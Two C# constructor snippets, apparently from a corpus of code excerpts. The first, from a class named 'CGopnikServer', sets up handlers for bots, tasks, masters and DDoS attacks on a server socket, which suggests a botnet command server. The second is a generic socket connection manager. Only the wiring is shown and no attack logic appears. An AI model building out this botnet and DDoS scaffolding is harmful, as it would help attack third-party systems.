public CGopnikServer(Int32 iPort) { m_BotHandler = new CBotHandler(); m_TaskHandler = new CTaskHandler(m_BotHandler); m_MasterHandler = new CMasterHandler(); m_DdosHandler = new CDdosHandler(); m_DdosHandler.OnDdosStopped += HandleOnDdosStopped; m_ServerSocket = new CServerSocket(iPort); m_ServerSocket.OnNewClient += m_ServerSocket_OnNewClient; m_ServerSocket.OnNewData += m_ServerSocket_OnNewData; m_ServerSocket.OnLostClient += m_ServerSocket_OnLostClient; }
public CConnectionManager(int port) { ServerSocket = new CServerSocket(port); ServerSocket.OnClientConnected += ServerSocket_OnClientConnected; ServerSocket.OnClientDisconnect += ServerSocket_OnClientDisconnect; ServerSocket.OnClientReceivedBuffer += ServerSocket_OnClientReceivedBuffer; Connections = new List <SConnection>(); PacketCallbacks = new List <SPacketCallback>(); InitPacketCallbacks(); SynchronizationThread = new Thread(new ThreadStart(Synchronization_Thread)); RandomInstance = new Random(); }